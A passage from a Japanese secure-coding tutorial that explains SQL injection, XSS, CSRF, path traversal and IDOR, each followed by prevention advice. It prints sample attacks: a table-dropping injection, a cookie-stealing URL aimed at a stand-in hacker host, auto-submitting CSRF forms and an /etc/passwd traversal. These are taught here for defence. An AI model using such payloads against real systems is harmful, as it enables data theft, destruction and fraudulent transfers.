ユーザーがuserName = ‘abc’ or ‘1’=’1’を渡すと、SQLクエリ文は次のようになります。
SELECT * FROM Users WHERE userName = 'abc' or '1'='1';
このSQLクエリ文では、常に正しくて、Usersテーブルのすべての情報を返します。
他のケースで、ユーザーがuserName = ‘abc’; DROP TABLE Users;を渡すと、SQLクエリ文は以下のようになります。
SELECT* FROM Users WHERE userName = 'abc'; DROP TABLE Users;
このクエリでUsersテーブルが削除され、非常に危ないです。
防止方法
- ユーザー入力の検証: 正規表現を使用して、不正な文字や数字以外の文字、もしくは変な文字を排除します。
- SQLを生成するために文字列を連結しないこと: 文字列を連結する代わりに、パラメータを使用するようにします。不正なデータが入力された場合、SQLエンジンが自動的にエラーを報告するため、コードでの確認は不要です。
- 純粋なSQLの記述を制限し、ORM(オブジェクト関係マッピング)フレームワークを使用すること: ORMフレームワークはSQLクエリ文を自動生成するため、より安全だということです。
クロスサイトスクリプティング (XSS)
クロスサイトスクリプティング (XSS)は一般的な悪意のあるコードによる攻撃する形です。ハッカーはウェブセキュリティの脆弱性を利用して、スクリプトコードを挿入し、クライアント側でそれを実行します。通常、XSS攻撃はアクセスの認証検証の回避とユーザーのなりすましに使用されています。この攻撃の主な目的は、ユーザーの識別データ(クッキー、セッショントークンなど)を盗み出すことです。
XSS攻撃には主に3つのタイプがあります。
- 反射型XSS(Reflected XSS)
- これはHTTPリクエストからの悪意のあるスクリプトコードを使用した攻撃する形です。ハッカーは悪意のあるスクリプトを含むURLを共有することで、ユーザーのデータを盗み出し、ウェブサイト上でのユーザーのアクセスや操作を乗っ取ります。
- 例:
- ウェブサイトにアクセスする時、ユーザーは認識せずに、以下の悪意のあるリンクの画像または広告をクリックします。
http://user.com/name=var+i=new+Image;+i.src=”http://abc-hacker.com/”%2Bdocument.cookie;
- この時、ハッカーは自分のサーバーに送信されるリクエストを確認するだけで、ユーザーのクッキーを取得し、それを使用してユーザーのログインセッションを乗っ取ることができます。
- このXSSの特徴は、ハッカーがユーザーに悪意のあるコードを含むリンクを送り、ユーザーがそのリンクにアクセスするようにだます必要がある点です。悪意のあるコードは、ユーザーがリンクにアクセスした瞬間に実行されます。
- ウェブサイトにアクセスする時、ユーザーは認識せずに、以下の悪意のあるリンクの画像または広告をクリックします。
- 格納型XSS(Stored XSS)
- これは、ハッカーが入力、テキストエリア、フォームなどの入力データを十分に検証せずにデータベースに悪意のあるコードを挿入する攻撃する形です。ユーザーがアクセスして保存されたデータに関連する操作を行うと、悪意のあるコードがブラウザで即座に実行されます。
- DOM-based XSS
- これは、セキュリティホールがサーバーサイドのコードではなく、クライアントサイドのコードに存在する攻撃する形です。この形は、材料のHTMLを変更すること、つまりDOMの構造を変更することに基づいてXSSを悪用します。
防止方法
- データ検証(入力の確認):ユーザーが提供した入力データが正確であることを確認します。
- フィルタリング(ユーザー入力のフィルタリング):この方法は、ユーザーの入力データから危険なキーワードを見つけ出して、それらをタイムリーに置換または削除するのに役立ちます。
- エスケープ:これはXSSを防ぐのにかなり効果的で、文字をエスケープライブラリが使用できる特殊なコードに変更する方法です。
クロスサイト・リクエスト・フォージェリ(CSRF)
CSRFは、ユーザーが認証されているウェブアプリで望ましくない操作を実行させる攻撃する形です。ソーシャルエンジニアリングのヘルプで(電子メールやチャットを介したリンクの送信など、非テクニカルの攻撃とも呼ばれることがあります)、攻撃者はウェブアプリのユーザーを欺き、攻撃者が選択した操作を実行させることができます。
例:ユーザー1が銀行にログインして、ユーザー2に1000ドルを送金したがったんですが、ユーザー3(攻撃者)がユーザー1に自分に対して送金させたいです。この場合は次のようになります。
もしアプリケーションがGETリクエストを使用してパラメータを渡し、送金の操作を実行するように設計されている場合、次のようなリクエストがあります。
http://bank.com/transfer?account=user2&amount=1000
さて、ユーザー3はこのウェブアプリケーションの脆弱性を悪用することを決めて、ユーザー1を犠牲にします。最初に、ユーザー3はユーザー1のアカウントから自分のアカウントに20万ドルを送金するように以下の悪意のあるURLを作成します。ユーザー3は元のコマンドのURLを取得し、受益者の名前を自分に変更し、同時に送金額を著しく増やします。
http://bank.com/transfer?account=user3&amount=200000
その後、ユーザー3は、被害者にHTML内容を含む望ましくないメールを送信したり、被害者がオンラインバンキングの取引を行っている最中にアクセスする可能性のあるサイトにURLを埋め込んだりします。攻撃用のURLは通常のリンクとして偽装され、被害者にそのリンクをクリックするように促します。
<a href="http://bank.com/transfer.do?acct=user3&amount=200000">クリックして画像を見る</a> または以下の画像 <img src="http://bank.com/transfer?account=user3&amount=200000" width="0" height="0" border="0">
もしこの画像タグがメールに含まれていれば、ユーザー1は何も見られていませんが、ブラウザは引き続きbank.comにリクエストを送信し、視覚的な表示がないままお金が送信されてしまいます。
その他の場合
銀行が現在 POSTリクエストを使用しており、脆弱なリクエストが次のようになっているとします。
POST http://bank.com/transfer account=user2&amount=1000
このようなリクエストは、標準の <a> タグや <img> タグを使用して送信することはできませんが、次のように <form> タグで送信できます。
<form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="account" value="user3"/> <input type="hidden" name="amount" value="200000"/> <input type="submit" value="submit"/> </form>
このフォームではユーザーに送信ボタンをクリックするよう求めますが、JavaScript を使用して自動的に実行することもできます。
<body onload="document.forms[0].submit()"> <form action="http://bank.com/transfer" method="POST"> <input type="hidden" name="account" value="user3"/> <input type="hidden" name="amount" value="200000"/> <input type="submit" value="submit"/> </form> </body>
防止方法
- ユーザー側
- 取引が完了したら、銀行口座、オンライン支払い、ソーシャル ネットワーク、Gmail などの重要な Web サイトからログアウトしたほうがよいです。
- 電子メールや Facebook などで受信した不明なリンクをクリックしたり、変な電子メールを開いたりしないことです。
- ブラウザにパスワード情報を保存しないことです。(「次回ログイン時に自動的に入力する」または「パスワードを保存する」方法を選択しないほうがよいです)。
- 取引中または重要な Web サイトにアクセスしている間は、他の Web サイトにアクセスしないこと。攻撃者のエクスプロイト コードが含まれている可能性があるからです。
- サーバー側
- GETとPOSTを適切に使用する必要があります。データをクエリする場合はGETを使用し、システムに変更をさせる場合はPOSTを使用してください。アプリがRESTfulの標準に従っている場合、PATCH、PUT、DELETEなどのHTTP動詞も使用できます。
- Captchaはシステムとやり取りしている主体が人間かどうかを判断するために使用されます。”ログイン”、”振り込む”、”支払い”などの重要な操作では通常Captchaが使用されます。
- 管理ページに別のCookieを使用します。
- IPを検証します。重要なシステムでは、事前に設定されたIPからのアクセスしか許可されません。
パストラバーサル
パストラバーサルは、攻撃者がウェブのルートディレクトリーの外部に保存されているファイルやディレクトリにアクセスして、望ましくないファイルを読むことができるウェブの脆弱性です。これにより、サーバー上のファイル、ログイン情報やOSの情報などのアプリの機密情報が漏洩する可能性があります。あるケースでは、サーバー上のファイルに書き込むことも可能で、攻撃者はデータを変更したり、サーバーを制御したりすることができるようになることもあります。
例:
あるアプリが以下のように画像をロードします。
<img src="/loadImage?filename=image-logo.png">
filename=image-logo.pngというパラメータを渡して、リクエストを送信すれば、指定ファイルの内容と/var/www/images/image-logo.pngにある画像ファイルが返却されます。
この場合、アプリケーションはパストラバーサル攻撃を防がないため、攻撃者は任意のリクエストを行い、システム内のファイルを読み取ることができます。
例:
https://hostname/loadImage?filename=../../../etc/passwd
この時、アプリは/var/www/images/../../../etc/passwdというファイルパスのあるファイルを読んで、../ごとに現在のフォルダーの元フォルダーに戻ります。それで、../../../ で/var/www/images/フォルダーから元フォルダーに戻って、 /etc/passwdファイルは読まれるファイルです。
LinuxのOSでは /etc/passwd/ファイルはユーザーの情報を格納しているファイルです。
/etc/passwd/ を読んだ後、以下のように見えます。
/etc/passwd/ファイル以外、攻撃者はシステムに存在しているほかのファイルやフォルダーを読めるように任意なリクエストを実行することができます。
防止方法
- 処理前にユーザー入力を検証することです。
- ウェブのルートディレクトリー内に機密な設定ファイルを保存しないことです。
- 許可された値にホワイトリストを使用して、またはファイル名が普通の文字、数字を使用して、特殊文字を含めないようにすることです。
- ファイルに関しては、Amazon S3を使用して保存およびアクセスしてもよいです。
IDOR 脆弱性 (Insecure Direct Object References)
安全でない直接オブジェクト参照 (IDOR) は、ユーザーが提供したデータを通じて、プログラムにユーザーがデータ、ファイル、フォルダー、データベースなどのリソース に不正にアクセスさせるときに発生する脆弱性です。
例:
“注文管理”セクションでは、注文のURLは次のようになります: http://shop.com/user/order/1。サーバーはURLからID = 1を読み取り、その後、データベース内でID = 1の注文を検索し、データをHTMLに注ぎ込みます。それから、ID = 1を別の番号に変更すると、システムは全ての注文を読み取り、表示します(他の顧客の注文も含む)。
ここでの脆弱性は次の通りです。プログラムはURLで提供されたデータ(ID)により、資源(他のユーザーの注文)に不正にアクセスを許可しています。本来ならば、プログラムはそのユーザーがこれらのデータにアクセスする権限を持っているかどうかを確認する必要があります。
実際には、ハッカーはさまざまな手法が使用できます。例えば、URLを変更したり、API内のパラメータを変更したり、セキュリティが確保されていないリソースをスキャンするためにツールを使用したりすることがあります。
防止方法
- ユーザーに厳格な権限を設定することです。
- 常にアプリケーションを真剣にテストすることです。
- ソースコード、設定、データベースキーなどの機密なデータを守るために、アクセスを制限することです。これらのデータへのアクセスを内部IPにのみ許可するのが最も良い方法です。
結論
セキュアコーディングをアプリに使用することは、安全性とセキュリティを確保するために不可欠な要素です。セキュアコーディングの原則と手法を適用することで、セキュリティホールが初期段階で発生するのを防ぎ、将来のリスクを最小限に抑えるのに役立ちます。ユーザーに信頼性の高い安全なアプリケーションを提供しましょう。
参考資料
https://owasp.org/www-community/attacks/
https://owasp.org/www-pdf-archive/OWASP_SCP_Quick_Reference_Guide_v1.pdf
https://www.websec.ca/kb/sql_injection
https://codedx.com/insecure-direct-object-references/
https://viblo.asia/s/secure-coding-for-developers-dbZN76EalYM